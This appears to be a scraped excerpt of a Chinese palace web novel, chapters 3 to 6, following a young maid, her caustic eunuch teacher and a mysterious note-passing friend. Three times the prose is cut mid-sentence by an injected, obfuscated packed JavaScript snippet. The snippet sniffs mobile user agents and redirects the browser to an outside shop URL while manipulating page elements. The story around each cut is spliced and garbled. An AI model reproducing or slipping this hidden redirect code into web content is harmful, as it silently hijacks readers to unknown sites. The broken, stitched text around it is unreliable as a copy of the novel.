她活泼健康,精力充沛,简单直接,永远有出其不意的举动和强大到迟钝的神经。他憧憬她的人生,渴望得到阳光,在往后很长一段时间内,他都将之误认作是爱情。自然,这是另说了。 求学之路一切顺利,唯一美中不足的,便是每天都被先生点名。然后留堂。鹿白也是从此见识到窦贵生骂人是多么花样频出、辞藻华丽、栩栩如生。 譬如,这什么狗爬的字,别说狗了,给猪一支笔也比你写得强。 譬如,有兄弟姐妹么,趁早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218239|197454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫爹娘再生一个吧。 譬如……太多了。 ——再好听的嗓子,总不说人话,谁不心生厌烦? “先生点名是关照你,要不是关心,谁理你呀!”十六皇子用赵芳姑惯常的口气安慰道。 “得了吧,”鹿白撇嘴,“殿下又没去过学堂,而且你也不了解窦公公,他那样的人,唉——” 十六皇子的病是打小得的,不便外出,都是请翰林学士们私下授课。加之没有同龄的皇子公主相伴,不怪他体会不到念书的艰辛和苦楚。 “那你说说,是什么样啊?”十六皇子蹲在鹿白身旁,一人捧着药碗,一人捧着姜汤,动作整齐划一。 那她可真要说道说道了。鹿白清了清嗓子:“内学堂的人分两种,一种是先生,一种是学生。先生分为翰林学士和窦公公,后者异常严苛,不近人情,牙尖嘴利,宛若厉鬼。课上一个不留神,就会被他拎走,我一个,小豆子一个,同病相怜,每天都得挨罚。” 十六皇子好奇道:“前者呢?” 鹿白:“前者我还未曾见过。” 十六皇子:“……哦。” 鹿白接着道:“学生也分两种,一种是有天赋的,就像……就像谁我也不认识,先生也不点他们;另一种是没天赋的,我和小豆子就属于这种,每日都会被罚。要么打手心,要么罚站,要么课后留堂。但小豆子写字倒是有些天赋,这点比我强。所以,满甲班来看,可能就我一个没天赋的学生。” 她洋洋洒洒说完,才发现众人不知什么时候都停了手里的活计,已经静静旁听半晌了。 于是,大家便都知道鹿白有个所谓好友叫小豆子了。莫啼院顿时变成了一个喜鹊窝,叽叽喳喳闹成一片。 “尚膳监的?我没听说过啊……”赵芳姑觉得自己一定是到了年纪,开始忘事儿了。 “我认得尚膳监的,有两个在内学堂念书的,都想去司礼监呢!”甄秋开始细数两人的种种特征,希望能跟“小豆子”对上。 “你交上朋友了,是好事。”甄冬冷淡道。 “如此说来,你每晚都跟小豆子在一起了?有人说三道四吗?”十六皇子立马竖起了警戒的天线,整肃宫闱行动给他带来的震撼并不小。 鹿白只尴尬了片刻,便缴械投降,坦白从宽了。 自第一晚起,她几乎每天都能见到小豆子。甲班的小太监人数众多,时不时就有人被拎出来,轻则罚站,重则退学。但据她的观察,来回来去也就那么几个人,其中必定有一位是小豆子。 她和小豆子发展出了深厚的革命友谊,现在已经是无话不“写”的好友了。经过几天的交谈,她自诩对该了解的了解得一清二楚: 他是尚膳监的小太监,爹是个破落秀才,教过他念书识字,入宫就是奔着司礼监去的,可惜被分去烧火做饭。他的字是跟他娘学的,念书不太行,便想从别的门道努努力。 有来有往,鹿白自然也说了不少自己的事。当然了,个人隐私不能提,莫啼院的隐私更不能提,无非是吃喝拉撒,这这那那。于是一来二去,他们的话题竟然又回到了课上的内容。 单是这样,鹿白就已经十分佩服自己了——严谨深刻的学术讨论,并不是谁都有机会参与的。 窦贵生并不忌讳议论时政,相反,这正是司礼监的必修课,所以课上有许多内容着实可以不断深挖。虽然小豆子每次只有几个字,但却字字珠玑,鞭辟入里,引人深思。 他其实很有水平,栽就栽在窦贵生这老妖精身上了,假以时日,说不定又是一个响当当的豆公公。 期间还穿插了关于“被翻红浪”的探讨,鹿白讲得非常客观,并且对于无形之中做的生理科普感到沾沾自喜。 她私以为,虽未谋面,他们却已堪称知己了。 “你连他是谁都不知道呢!”十六皇子微瞪着眼,不知是兴奋还是惊讶。 鹿白也纳闷,这么多天,自己竟然一次都没动过见他一面的念头。可能是被偷传纸条的刺激感给蒙蔽了。 于是乎,在众人不遗余力的怂恿下,鹿白决定迈出第一步,约见小豆子。当晚的纸条上,她写了那句大家一致投票通过的话:明日我等你。 五个字,含义丰富。 但小豆子没来。第二日窦贵生没有点名,连惯常训斥鹿白的环节也忘了,课堂氛围竟然是前所未有的和谐。鹿白夜里专程来了一趟,却见内学堂黑灯瞎火,一个人都没见着。 这下她有点摸不着头脑了。 第二日一早,她便悄悄寻了个机会,带着纸条去尚膳监堵人。被堵住的小太监诚惶诚恐,生怕他们被人看见,扭头就跑。鹿白岂能让他得逞,生拖硬拽把人拉到了树后。 起先她还镇定自若,后来越说越觉得不对劲,对方也是一脸茫然。她惊悚地发现,完全符合条件的这个人,压根就不是小豆子啊! 那小豆子究竟是谁呢? 很快她就能揭晓谜底。因为小太监告到窦贵生那儿了。 4. 第 4 章 纸条四散躺在桌上,白生生的像是婴儿的肚皮。上头那几行墨字如同伤疤似的,显得格外突兀。 桌旁的先生面色冷肃。如果鹿白有胆量多看两秒的话,便会发现冷肃中还带了那么一点幸灾乐祸。 罗汉床背后的台案上供的不是菩萨,不是佛祖,而是慈眉善目的孔夫子。鹿白跪在地上,默念了几句佛祖保佑,猛地发现不对,匆忙在心底补了几句。 毋意,毋必,毋固,毋我。善哉善哉。 在孔夫子和佛祖的双重庇佑之下,冷着脸的老太监看起来也不那么可怕了。 “说吧。”窦贵生两腿微分,脊背笔直,一手搭在炕桌上,轻轻扣了两下。不像是训学生,倒像是审犯人。虽然两者对鹿白而言并没有什么区别。 鹿白其实不怕他发火,大不了就被退回莫啼院而已,反正读书一事于十六殿下是一时兴起,于她是忍辱负重。她怕的是他手边的戒尺。 退学还可以,体罚就算了。 两旁的铜鹤翻着死鱼一样的珍珠眼,跟窦贵生总是半垂着的阴鸷眼神截然不同。鹿白本想避开审讯者的逼视,但视线转了一圈,不但没有轻松,反而觉得更阴森可怖了。于是顾不得打量窦贵生的房间,只得把眼珠子转回正中,转到那只曾托起她肮脏下巴的脚尖上。 “是我写的。”鹿白不知道该交代什么。男男女女,都到这个份上了,这不明摆着的事儿吗? “这狗爬的字也不像是别人。”窦贵生似乎很满意她的诚实,信手抽出一张纸条,接着问道,“王田已经承认了,你借着留堂的机会,日日跟他在学堂内私会。说吧,此事有多久了?你们只是私传书信而已?” 古往今来,先生们的高明之处都是如此一脉相承。明明是逼问,声音却辨不出喜怒,叫你兀自惴惴不安,左右揣度,先失了方寸;紧接着明知故问,或是正话反说,迫使你露出马脚;最后他们便乘胜追击,一举得胜,打得你落花流水,溃不成军。 但是窦贵生没有想到,这辈子竟然碰到了一个例外。生平第一次,也是唯一一次,失败的那个人竟然是他。 “啊,是吗?”鹿白一脸惊讶,表示自己也是头一次听说,“他说不是他啊……” 窦贵生这时候还没有预见到即将到来的败局,半垂着眼帘,继续睁眼说瞎话:“他是这么跟我说的。你确定吗?” 通常人在“你确定”之后便会动摇,怀疑,左右摇摆,即便确定也变得不确定了。但鹿白衡量了一下小太监惊慌失措的神情,还有这颇为无耻的告密行径,当即重重点头:“确定,不是他。” “呵。”窦贵生发出赶鸟似的冷笑,终于掀起一丝丝眼皮,不再拿鼻孔瞧人,“这么说,你是承认与人私会了?” 不知不觉上了套的鹿白:“……啊,您要这么说也对。” 啊?也对?还“您”? 听着阴阳怪气的,窦贵生当即皱了眉:“陆白,你当真是挨打没够么?我没工夫跟你废话,今日若是交代不清,你和你这情郎少不得要去典刑司走一遭。” “情郎”两个字还着重强调了一番。 窦贵生想得非常天真,且自信。似这等年纪的宫女,整日接触的异性无非是主子和太监。同龄的小太监,身形样貌介于男人和少年之间,读了几日书,又带了些微的书卷气。这便是少女怀春时最喜欢的那类弱质书生了。 说她不傻谁信?几封破信,几晚巧遇,便轻轻松松得手了。连面都没见过,什么恶心人的荤话都说出来了,不是情郎是什么? 窦贵生看鹿白的眼神于是带了一丝轻蔑。 犯得着犯不着啊……鹿白心里一个劲儿地犯嘀咕。试想,一个不受宠皇子的低品级女官,跟一个尚膳监的烧火小太监,再怎么有罪,也不至于劳烦大领导亲自过问吧? 还以为前几天不留堂是放她一马,结果在这憋着劲儿整她呢。 “我当真不知道他是谁。”鹿白举起三根手指,对天发誓,“此话有假,天打雷劈。” “是么……”窦贵生的眼帘又垂下去了,似笑非笑地拉长声音,显然不相信她的话,“不想说也罢。” 下一句应该是:既如此,那我便放你们一马。窦贵生按照想好的说辞说了。 再下一句该是:我并非好心,你也犯不着谢我,只是再有下次,可就没那么容易糊弄过去了。最后再加一个意味深长的“啧”。 如此一来,她便知道他已经有了她的把柄,且他身为典刑司掌印,为她和那不存在的情郎法外开恩,高抬了随时可能再度挥下的贵手,她心里不定如何畏惧,又如何感激呢。 对了,中间还得有小宫女的一句“多谢窦公公开恩”。 但这最为关键的一句,鹿白却没有说。她丝毫没有配合的自觉,张大痴呆的双眼,颇为不可置信地瞪着窦贵生。 不知怎么的,这模样竟叫他想起一只被吓得傻了,连嘴里草料掉在地上都全无反应的兔子。最后理所当然变成了红烧兔头的那种兔子。 “先生怎么这么说!”鹿白确实很诧异,下意识便用了“先生”二字,仿佛这个身份代表着某种高贵、纯洁、不容侵犯的品质。 怎么着,她还敢顶撞他了? “放肆!”他狠狠拍桌。 鹿白吓得抖了一下,但接下来的话还是稀里糊涂倒了出来:“这可是有违宫规的事,先生怎么能轻易放过他?” 窦贵生有点傻眼:“哟,你还希望我罚他了?” “那是自然!”鹿白连声附和。 “你倒是薄情……”窦贵生先是有些气恼,不过细细品了两遍鹿白的话,心中渐渐疑窦丛生。再看鹿白时,眸色变得愈发深沉。 小丫头,说不定真有点段数。 “我不是薄情。”鹿白为自己辩解道,“小豆子不是那样的人。” 都道字如其人,鹿白没能看清小豆子的样貌,却也能将他为人气质猜个七七八八。况且,说出那些话的人,怎么可能做缩头乌龟?怎么可能做出这等卖友求荣的事?这绝不是小豆子的风格。 羞涩而大胆,聪敏而正直,坚韧而固执。这才是小豆子。 因此鹿白猜测,他一定是被某件不便透露的事缠住了,亦或是还没做好与她面对面的准备,在等候一个契机。譬如被先生发现早恋,然后顺势表白什么的。 窦贵生简直要为她的话笑出声。小豆子是哪样人,他都不知道,她又清楚了? “而且,”稍显不足的底气也没能抵挡住鹿白倾诉的决心,“我还没亲眼见过他,劳烦先生一定要将他找出来。” 顿了顿,她郑重其事道:“多谢先生!” 窦贵生:“……” 得到了想要的感激,却以一种完全错误的方式。 造化弄人。 虽然事后窦贵生立马想到了解决之道,但那一瞬间,他真想蹿起来给她一下:你情郎早让我扔池塘里喂鱼了,见鬼去吧你! 窦贵生缓了口气,将脸转向那堆散乱的罪证。看了两秒,忽的一扬手,把那沓纸甩了过去,怒极反笑道:“还想让我帮你找人?看看这写的都是什么腌臜玩意儿!” 鹿白鹌鹑似的跪在地上,被劈头盖脸砸了个正着。纸片轻飘飘的没什么重量,重的是窦贵生的语气和眼神。 “陆女史真是好胆量,全然不拿宫规当回事儿呢。”窦贵生拎着戒尺站了起来。 鹿白又气又怕,差点捂着屁股撒丫子狂奔。但她生生忍住了逃跑的冲动,边往后蹭边胡乱抄起身边的罪状:“先生,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218240|197454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是什么腌臜玩意,这都是纯洁无瑕的学术探讨!您看啊:私以为,今日课上所讲桓公买马一事,与圣上如今处境相同——哎哟!还还还,还有这张!” 鹿白肩上挨了一下,也顾不得怕不怕了,猛地蹿起老高,边跑边大声念道:“要怪便怪先生嗓音实在动听,叫我心神荡漾,总是分神……” 她跑得快,声音大,不光窦贵生听见了,隔着好几道门的司礼监太监们也听得一清二楚。窦贵生来不及捂她的嘴,愣是把那段长达两百字、真挚热烈的溢美之词一字不落地听了一遍。 他的表情顿时变得冷淡至极,甚至有些僵硬。求生欲使鹿白第一时间注意到他右眼眼尾那阵尴尬的抽搐,她当即恍然大悟:哦,原来他竟讨厌别人夸他! 自觉找到报复法门的鹿白瞬间斗志昂扬,赞美不要命似的往外喷: “先生文采斐然,见地独到,实乃当事大家!” “先生事必躬亲,心细如发,叫我等自愧弗如。” “对安全稳定事件有着不凡的敏感度,总能将各类风险隐患扼杀于摇篮之中,皇宫捍卫者的名头当之无愧。” “政治站位极高,有手段有魄力,有气质有风度,内监第一人实至名归!” 听得懂的,听不懂的,乱七八糟的话音青烟似的在屋内盘桓,余音绕梁,令人作呕。要不是见到字数不对,窦贵生差点就要信了这番鬼话。 “闭嘴!”窦贵生大步上前,一把揪住鹿白的领子。鹿白心知躲不过,任人拎鸡崽儿似的拖到一旁,甚至还暗自松了口气。来得可真够及时的,再多一句都编不出来了。 啪。 戒尺在手心抽出一道红痕,鹿白连人带信被扔了出去。 “滚蛋!” 那天,窦贵生到底也没说怎么罚她,似乎打了那两下,事情便就此作罢。 课上的先生依旧面容冷肃,不苟言笑,惜字如金;课下的窦公公依旧时不时拎人去典刑司责罚。贾公公没有再提攻略太子大业,十六殿下病情稳定,偶尔有兴致坐在廊下看鹿白踢毽子。 随着学习内容逐渐深入,鹿白已经对大周的时事新闻、政治形势有了更深刻的体悟。现在的她,已经能毫不停顿地背出三省、六部、八司、十二衙门的官职了。 可是有一个问题始终困扰着她:小豆子究竟是谁呢? 鹿白日思夜想,怎么也不明白,好端端的大活人怎么会凭空消失呢?直至有人主动找上了她。 “陆女史。”苏福依旧跟初见时一样,不卑不亢地垂着头,声音喑哑低沉,“我有事与你说。” 鹿白还以为又要抽背课文,赶紧掏出默写册,匆匆过了两遍,才跟上他的脚步。 两人在背人处站定,苏福掏出一封没有抬头和落款的信,鹿白抬手接过,他却不肯放手。四只手在半空定住,彼此的心都跳得飞快。 苏福悄声道:“前几次我见你与人相会,便私底下找了那小太监,打探你们往来消息。后来……就都是我了。” 鹿白高兴得差点扑到对方身上:“是你啊苏公公!” 怪不得后面几天压根没人监视,原来苏公公玩忽职守,监守自盗去了。 苏福不着痕迹地退了半步:“陆女史可别说出去。我、我……” 他没撒过谎,有点难以启齿。正要开口,便听鹿白压低声音,挤眉弄眼:“放心吧,我也喜欢你。” 我,也,喜欢你。 这话自然原封不动地传到了小豆子本人耳中。他第一反应是觉得恶心,继而是可笑。喜欢?喜欢顶个狗屁!顶天儿是死的时候多个人哭坟罢了。 也许整个事件中唯一高兴的只有没头脑的鹿白。 但回去跟众人一说,鹿白又觉出事情不太对劲了。 5. 第 5 章 且不论字迹、时间是否对得上,单是小豆子的身份,就足以叫鹿白为难了。 “小苏公公可是窦公公的干儿子。”鹿白在《十六殿下每日起居》上刚写两句,就忍不住搁下笔,开始长吁短叹。 “还小苏公公!”赵芳姑端着药碗进屋,正好听见这话,“小苏公公比你大四五岁呢。” “芳姑姑,关键不是这个啊!”鹿白泫然欲泣,“你想想,我要是跟小苏公公好,那岂不是得管窦公公叫爹?鹿某人我开不了口哇!” 接药碗的手一顿,十六皇子衣襟前霎时沁出两滴浓黑的水渍。赵芳姑安抚地拍了拍他的手,转身笑道:“怎么,才见了一面就要跟人家好啊?” “不是一面,每天都见呢……”鹿白嘀咕了一句,继续道,“而且小苏公公跟他干爹关系极好,这就是我跟他本质的分歧。不共戴天的分歧!” 十六皇子两三口喝完药,把碗放到一旁,边来回踱步边思索着安慰的话:“可是你喜欢的是小豆子,又不是小豆子的爹。苏公公若是也喜欢你,还能叫干爹吃了你不成?” “殿下——”鹿白绝望地瘫倒在椅子上,“你真是不懂爱情,也不懂我的难处啊!” 普天之下,婆媳关系有好处的吗! 小豆子找到了,的确了了她一桩心事,但随之而来的另一桩显然更严重:窦贵生因为小豆子是干儿子,便想尽办法包庇他,而对于手无寸铁的她便痛下狠手。亲疏远近,高下立判。 物以类聚,人以群分。耳濡目染之下,苏公公迟早会跟他变得一样刻薄,一样尖酸,一样讨厌。 肩膀现在还肿着,鹿白呲牙咧嘴地揉了一下,思前想后,在赵芳姑热切的眼神中总结道:“道不同不相为谋,我和他还是只做朋友吧。他是个好人,是我不配。” 赵芳姑抿着嘴笑了:“别瞎说,小白便是配王孙贵族也配得上,咱们不稀罕小太监。” 十六皇子顿时脸红,鹿白却一心沉浸在失去爱友的悲伤中,没有听出话中的言外之意。 未成形的恋爱宣布告吹,莫啼院的众人比鹿白本人还要担心。相不相好还是其次,孩子社交的积极性坚决不能打消啊! 这天,先生留了作业,正巧是她念的纸条中的一个:简要分析桓公买马事件的意义,如果你是桓公,请问如何做才能保证两个儿子都满意? 鹿白并不知道自己的作业是先生钦点,跟旁人的都不同。她严重怀疑,这道题就是在影射如今谒陵人选的事。样样出色却不讨人欢心的太子,名不正言不顺却被宠坏的九皇子,圣上到底该选谁? 十六皇子也是大周皇帝的儿子,但他好像全然忘了此事似的,跟小白分析道:“九哥哥最喜欢告状,他一不高兴,准会找父亲闹。父亲一不高兴,遭殃的还是太子哥哥,到头来谁都不高兴。所以我觉得,还是该选九哥哥去谒陵。” “买马,殿下,这是桓公买马。”鹿白提醒道。 甄秋虽不懂政事,但忍不住插了一嘴:“窦公公保不齐要给圣上讲的,可不敢随便写。咱们轻易还是别掺和这等事吧?” 议论朝政可以,但涉及到夺嫡之争,这回答就得慎之又慎了。 “这样,”十六皇子想出了对策,“你去与窦公公说一声,作业就不写了吧。” 鹿白:“……殿下,你这腰撑得有点不是时候。” 十六皇子:“就说我病了,你无暇作答。” 鹿白:“……” “晚了,明天就要交了。”鹿白提起笔,准备写上一篇惊天地、泣鬼神的“咏窦贵生”,表达一下自己如滔滔江水般的敬仰之情。 无他,瞎写耳。 十六皇子却掏出腰牌给她,催促道:“那你赶快,现在就去。” 他们最近非常热衷于把鹿白和苏福凑在一起,背着她嘀嘀咕咕,还观察她的反应。每次听她面无表情地说起苏公公,他们就非常夸张地给予积极反馈。层层深入,循序渐进,简直堪称系统脱敏疗法的典范。 虽然鹿白本人并没有觉得有哪儿“敏”了。 黑灯瞎火的,鹿白很不想出门,但事关莫啼院的未来,她只得拎着灯笼上路。下人们通常比主子歇得晚,夜里时常有急报,机要秘书窦贵生更是不敢轻易入眠。 鹿白知道这点,也知道他此时应该在司礼监的住处批奏折,或着对着学生们参差不齐的作业大发雷霆。所以她一路都在思索到底怎么开口,才能免于再次被毒打的命运。 严师出高徒,在她和窦贵生这儿,严师只能出怨徒。 大不了……大不了她就扒了他的裤子,先报仇再说!鹿白不无悲壮地想道。 出乎意料地,窦贵生竟然不在,鹿白无奈,只得求助于助教苏福。 苏福尽职尽责地扮演起小豆子的角色,表示愿意为鹿白转述且努力争取,甚至可以替鹿白写作业,为此就算受罚也认了。 表演得太像,反而削弱了真实感。鹿白那时还不懂怪异之处是从哪儿来的,只是觉得天上掉馅饼的美事怎么轮也轮不到她头上。 “不用了,多谢苏公公。”她闷闷不乐地告了别。 苏福心急,拉着鹿白又说了两句,企图勾起她的一丝丝好感和同情。但已经于事无补了。在他们的“美男计”还未正式发动时,鹿白已经单方面宣布了战役结束。后来,任凭“小豆子”如何死缠烂打,鹿白始终都没能回头。 窦贵生一直想不通哪里出了岔子,怎么无往不利的招数,连一个小小的细作都拉拢不了?后来他才恍然大悟,原来自己忽略了最重要的一点:此招甚好,但对榆木脑袋和倔驴却不适用。 白心似铁,可见一斑。 鹿白入宫没半个月,过惯了内学堂和莫啼院两点一线的生活,偶尔还能去尚膳监开个小差,但窦贵生的住处她可只来过一次。知道甄冬不喜欢她,她不好再麻烦对方,只得强迫自己多看多记。虽然如此,离开司礼监一刻钟后,人还是停在路中央了。 走错了。 走错不可怕,回去再走一遍就行了。于是鹿白快步折返,来到了三分钟前经过的命运的十字路口。她带着腰牌,倒是不怕被人怀疑什么,思索片刻,便抬脚出发。 试错法,很简单的。 到了第三次回到十字路口时,她欣喜地发现了一个路人。 当时她正站在漆黑的树影中,求助的声音还没来得及出口,就见那人停下脚步,鬼鬼祟祟地左右张望一番,钻入了距她两三米远处的树丛。她竟不知道那儿还有条路。 紧张地站了一会儿,她才恍然回神,缓缓蹲了下去。现在的她已经被架上了油锅,跑也不敢跑,逃也逃不掉——深夜幽会的人就在她一树之隔的背后。 跟她能听见他们一样,他们也能第一时间发现此处的偷听者。 白日的余温渐渐散去,蚊虫一下子活了,不甘示弱地围着人打转。鹿白不敢动弹,生怕被人发现自己在这儿,只得一个劲儿地祈祷他们别说什么后宫阴私、惊天秘密,最好是直奔主题,简简单单地来一发。 她能行,她可以,她扛得住。 一开始只有女人的声音,如泣如诉,跟蚊子声此起彼伏,听得并不真切。偶尔冒出几声“好哥哥”,甚是浓情蜜意,让鹿白也跟着软了半边身子。太监还是禁卫,不知道哪个男人有此福气啊! 正想着,一道惊天霹雳砸中了她。 “此话当真?”幽会的另一方终于说话了。 这声音,就算被劈得外焦里嫩、焚化成灰,鹿白也能认得出来。短暂地呆愣了几秒后,她霎时便血液沸腾,那股悲愤的火焰噌地从心口蹿出,眨眼间点燃了五脏六腑。 上梁不正下梁歪,监守自盗果然是会遗传的。整肃宫闱之后,她跟甄秋都下意识地避免接触,害怕有人说闲话。路上见到的宫女太监,都不约而同地保持了相当礼貌的距离。 结果呢?宫规的制定者倒在这儿当起好哥哥了!这样不堪为人师的人,竟还教他们为人之道?满口仁义道德,简直大言不惭,臭不要脸! 究竟是彻底戳破恋爱的泡影更伤心,还是被人恃强凌弱、欺压侮辱更令人心痛,鹿白已经分不清了。或许两者本就是一体。 在心底骂了一会儿,上头的热血就冷了下来。鹿白突然悲哀地发现,自己竟然连骂人的话都是跟窦贵生学的。潜移默化间,这位惹人生厌的先生已经对她产生了不可逆的影响。 可以预见到,未来很长一段时间内,名为“窦贵生”的病毒将感染一批又一批的天真学子。他们念了满篇先贤哲理,学的却都是鸡鸣狗盗、道貌岸然的本事。 从现在起,“众人皆醉我独醒”的鹿女史要积极开展自救行动,决不能沦为跟窦贵生一样的人。 首先,从抓住窦贵生的把柄开始。 “你便帮我这一回吧……”女人的声音染上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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幽会自然不会太久,两人寥寥几句便定下了同流合污的计划。片刻后,方才那个鬼鬼祟祟的身影钻了出来,再次张望一番,快步跑开。紧随其后的,是一派正气的窦贵生。 他手在衣袍上掸了两下,使劲拂了拂袖子。分明没有树叶或泥土,一套动作纯属惺惺作态。接着,他便背着手,挺直腰背,大摇大摆地往司礼监走去,好一副大领导体恤民情、夜查暗访的架势。 哎,这人怎么能这么不要脸呢!鹿白简直要为他的厚颜无耻鼓掌了。 上天有眼,幸运女神不总站在窦贵生那边。 鹿白压抑已久的心声终于感动了上苍,窦贵生刚刚迈出两步,路那头便飘来一片昏黄的灯光。来的人不少,吵吵嚷嚷,不知道是丢了东西还是丢了人。 为首的那人声音很大:“搜,两边都给我搜!我倒要看看,哪个不要命的还敢在此私会!” 鹿白一下子就认出来,来者不是别人,正是司礼监掌印,大太监江如。巧了,这人跟窦贵生处处对着干,完全不对盘。一个巧合是巧合,两个巧合可就是有预谋了。她不信江如一点风声没听见,就敢冒冒然来抓人。 一丝诡异的快慰顺着她的心缝钻出来,迅速蔓延到脸上,变成一个幸灾乐祸的笑。 她看不清窦贵生的表情,只见到他脚步微顿,原地愣了片刻,转身往回走。绯色的袍角随着双腿动作来回翻飞,像一只急切躲避风暴的乳燕。看得出来,他慌神了。 也许是蹲了太久,大脑缺血,也许是被蚊子咬得失了耐性,也许是终于抓住了窦贵生的把柄,她激动的丧失了理智。种种因素叠加之下,鹿白做出了一个决定。 正若无其事往回走的窦贵生,猛地被一只手拉住了。 那只手像是凭空出现的鬼影,惨白纤细,阴森可怖。窦贵生吓了一跳,瞬间被那鬼魅似的出场方式惊呆了。然而下一瞬,那生拖硬拽的动作便叫他放了心:谁家的鬼手劲这么大,定是哪个不要命的死丫头。 鹿白也诧异自己的举动,但鬼使神差之后,条件反射似的反应已经容不得她后悔。她没有想到这样做的后果。她并不知道,这随手一捞的动作,这看似不经意的一扯,却是后半生一切分分合合、一串恩怨纠葛的开端。 “嘘——”覆着一层薄汗的手捂住了窦贵生的嘴,鹿白急促的呼吸在他耳边响起,“小点声!” 窦贵生被她按在怀里,下意识就要骂句“放肆”。一张嘴,那手心上又咸又涩的汗便沾上了舌尖。 死丫头,早晚有一天要剁下这狗爪子!他忿忿地想道,却忘了推开她。 没有人意识到,他们的人生从这一刻起,便如同编织在一起的两股绳索,再也分不开了。 6. 第 6 章 窦贵生在宫里的位置其实很尴尬。 宫人们怕他,主子们轻蔑他,同僚们妒恨他。唯一一个跟他统一战线的,是当今圣上,大周皇帝章永争。 皇帝不是大周的皇帝,不是天下百姓的皇帝,不是后宫佳丽的皇帝,更不是他自己的皇帝。皇帝是文臣们的皇帝,可文臣们却并不拿他当皇帝。 大周皇帝人如其名,终其一生都在跟忠心耿耿的臣子们作斗争。有时他觉得,文臣们并不是一个两个,也不是一伙两伙,而是一整个天下——他们总拿天下人这样,天下人那样来义正言辞地规劝他。仿佛他要是不顺他们的意,便是跟全天下为敌。 皇权只是文臣们实现人生价值和自我升华的工具,皇帝便是这工具人。他不需要有情感,不需要有人性,只需要按照他们既定价值观的条条框框,老老实实完成皇帝的使命。否则,稍不留神就可能被拉下龙椅。 没办法,讲道理是讲不过文化人的。 斗争了一辈子,连死后埋在哪儿都做不了主的皇帝,却有一件堪称胜利的成果:让自己最爱的女人霍氏当了皇后。为此他不惜跟林相撕破了脸,狠下心办了一大批人,但结果却收效甚微,甚至还引来了疯狂报复。 文臣们如同韭菜,割了一茬还一茬,割了一片还一片,生生不息地跟他作对。今年还是空空荡荡,干干净净,明年又冒出许多自称“学生”的新苗。放眼一望,便又是一帮帮、一派派了。 即便是皇帝,也需要朋友。自己的朋友。 窦贵生不敢称自己为圣上的“知己”,但在外人心中他就是如此地位。跟皇上一头,便意味着与满朝为敌。 储君人选臣下们要争论,皇后选立他们要插手,谒陵到底在祭祀前还是祭祀后,皇帝沐浴焚香时德贵妃站左还是站右,连这都能打得不可开交。 每件小事都能上升到道德和尊严的高度,似乎每胜利一次,便离道德的制高点更进一步。交战双方都乐此不疲。 年前,皇帝好了伤疤忘了疼,又兴致勃勃地跟臣子们争起司礼监掌印的人选。窦贵生虽饱读诗书,却跟外头那群酸儒不一样。他是皇帝一手提拔起来的,是跟皇帝真正同心同德的人。 皇帝孤军奋战,需要一个盟友,他迫切地希望窦贵生能登上大太监宝座,夺回他对于后宫的掌控权。但他已经胜利一回,选了个众臣反对的皇后,众臣又怎么会叫他再度得逞? 奏章不要钱似的往宫里送,全是参窦贵生的,连他爹饥荒年间卖过女儿的事儿都能拿来参上一本。窦贵生自己读来都觉得好笑,就别提皇帝了。 丞相吴玉年近花甲的人了,坐在宫门闹绝食,叫门生把自己文采华丽、百姓看不懂的奏折在京中传抄发放;见皇帝不允,便开始辞官罢朝,带领着朝中百余人一哭二闹三上吊。最后连霍皇后都劝道:“圣上别跟他们置气了,让他们一回又如何?窦公公不会在意的。” 被逼无奈的皇帝终于妥协了,让吴玉属意的江如当了掌印太监。皇帝为此很是内疚,但他不会道歉,因为窦贵生比谁都清楚他的处境。懦弱,没本事,但爱作死,一辈子大抵如是。 窦贵生并非不在意,那位置可是他奋斗了半辈子的东西。正因在意,所以他才想报复吴玉,想拉下江如,想拉拢鹿白。正因在意,所以他知道,皇帝永远不可能跟他一条心。他不过也是他们对抗的工具罢了。 每个人都有难言之隐,每个人都有说不出的苦衷。那鹿白呢? 把他拽进小树林,对他又摸又抱,让他闻她的汗臭口臭,又有什么合理正当的理由呢?窦贵生打定了主意,若是她说不出个子丑寅卯,他便立马剁了她的狗爪子。 鹿白还真有理由。 她贴在窦贵生耳边,努力把比她高大许多的人按成一团:“先生这么明目张胆,不怕被江公公抓啊?” 窦贵生挣开她的手,在她张皇的眼神中收敛了动作,蹲得离她老远。动作停了,但眼珠子却瞪得锃亮:“被人抓总比被狗挠好。” 方才情急之下,她的确在他手腕抓了一道印子。 鹿白毫不怀疑,以他那碰了下巴都得蹭蹭鞋尖的性子,今天回去不定怎么犯恶心,保不齐把衣服都得烧了。但是舔过她手心的舌头要怎么处理呢,总不能割了吧? 如此一想,她霎时便高兴了。过程曲折,但恶心人的目的已经达到了。 江如的大呼小喝越来越近,窦贵生觉得自己一定是鬼迷心窍,竟然跟一个拖累自己的傻子聊上了。但形势所迫,现在想跑也来不及了。 “在这儿听半天了吧?”他忽的眯眼道。 “啊?”鹿白手脚并用爬了过去,把耳朵送到他嘴边,“离太远,我听不见。” 窦贵生下意识推了她一把,树枝颤动的声音叫追兵安静了片刻。 “去,上那边看看。”江如竖着耳朵听了听,立马发出命令。话音刚落,脚步声便朝他们的方向跑来。 